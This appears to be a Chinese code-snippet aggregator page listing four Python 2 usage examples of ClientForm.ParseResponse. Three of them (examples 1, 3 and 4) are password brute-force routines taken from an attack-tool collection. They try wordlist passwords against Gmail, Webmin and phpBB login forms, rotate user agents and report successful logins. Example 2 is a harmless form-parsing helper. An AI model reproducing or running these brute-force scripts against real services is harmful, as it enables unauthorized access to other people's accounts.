当前位置: 首页>>代码示例>>Python>>正文


Python ClientForm.ParseResponse方法代码示例

本文整理汇总了Python中ClientForm.ParseResponse方法的典型用法代码示例。如果您正苦于以下问题:Python ClientForm.ParseResponse方法的具体用法?Python ClientForm.ParseResponse怎么用?Python ClientForm.ParseResponse使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在ClientForm的用法示例。


在下文中一共展示了ClientForm.ParseResponse方法的4个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: run

# 需要导入模块: import ClientForm [as 别名]
# 或者: from ClientForm import ParseResponse [as 别名]
def run(self):
		global success
		value = getword()
		try:
			print "-"*12
			print "User:",sys.argv[1],"Password:",value
			cookieJar = ClientCookie.CookieJar()
			opener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cookieJar))
			opener.addheaders = [("User-agent","Mozilla/5.0 (compatible)")]
			ClientCookie.install_opener(opener)
			fp = ClientCookie.urlopen("https://www.gmail.com/")
			forms = ClientForm.ParseResponse(fp)
			form = forms[0]
			form["Email"]  = sys.argv[1] 
			form["Passwd"] = value      
			fp = ClientCookie.urlopen(form.click())
			site = fp.readlines()
			for line in site:
				if re.search("Gmail - Inbox", line):
					print "\tSuccessful Login:", value
					success =  value
					sys.exit(1)
			fp.close()
		except(socket.gaierror), msg: 
			pass 
开发者ID:knightmare2600,项目名称:d4rkc0de,代码行数:27,代码来源:gmailbrute.py

示例2: get_forms

# 需要导入模块: import ClientForm [as 别名]
# 或者: from ClientForm import ParseResponse [as 别名]
def get_forms(self):
        """Returns all forms in the current document.
        The returned form objects implement the ClientForm.HTMLForm interface.
        """
        if self._forms is None:
            import ClientForm
            self._forms = ClientForm.ParseResponse(self.get_response(), backwards_compat=False)
        return self._forms 
开发者ID:joxeankoret,项目名称:nightmare,代码行数:10,代码来源:browser.py

示例3: run

# 需要导入模块: import ClientForm [as 别名]
# 或者: from ClientForm import ParseResponse [as 别名]
def run(self):
		global success
		value = getword()
		try:
			print "-"*12
			print "User:",sys.argv[2],"Password:",value
			cookieJar = ClientCookie.CookieJar()
			opener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cookieJar))
			opener.addheaders = [("User-agent", random.sample(headers,  1)[0])]
			ClientCookie.install_opener(opener)
			fp = ClientCookie.urlopen(sys.argv[1])
			forms = ClientForm.ParseResponse(fp)
			form = forms[0]
			form["user"] = sys.argv[2] 
			form["pass"] = value      
			fp = ClientCookie.urlopen(form.click())
			site = fp.readlines()
			for line in site:
				if re.search("Login failed.", line.lower()) != None:
					print "\tSuccessful Login:", value
					success =  value
					sys.exit(1)
			fp.close()
		except(socket.gaierror, urllib2.HTTPError), msg: 
			print msg 
			pass 
开发者ID:knightmare2600,项目名称:d4rkc0de,代码行数:28,代码来源:webminbrute.py

示例4: run

# 需要导入模块: import ClientForm [as 别名]
# 或者: from ClientForm import ParseResponse [as 别名]
def run(self):
		global success
		value = getword()
		try:
			print "-"*12
			print "User:",sys.argv[2],"Password:",value
			cookieJar = ClientCookie.CookieJar()
			opener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cookieJar))
			opener.addheaders = [("User-agent", random.sample(headers,  1)[0])]
			ClientCookie.install_opener(opener)
			fp = ClientCookie.urlopen(sys.argv[1])
			forms = ClientForm.ParseResponse(fp)
			form = forms[0]
			form["username"] = sys.argv[2] 
			form["password"] = value      
			fp = ClientCookie.urlopen(form.click())
			site = fp.readlines()
			for line in site:
				if re.search("invalid password", line.lower()) != None:
					print "\tSuccessful Login:", value
					print line
					success =  value
					sys.exit(1)
				if re.search("The maximum number of 5 login attempts has been exceeded.",line):
					print "Attempts exceeded" 
			fp.close()
		except(socket.gaierror), msg: 
			pass 
开发者ID:knightmare2600,项目名称:d4rkc0de,代码行数:30,代码来源:phpBBbrute.py


注:本文中的ClientForm.ParseResponse方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。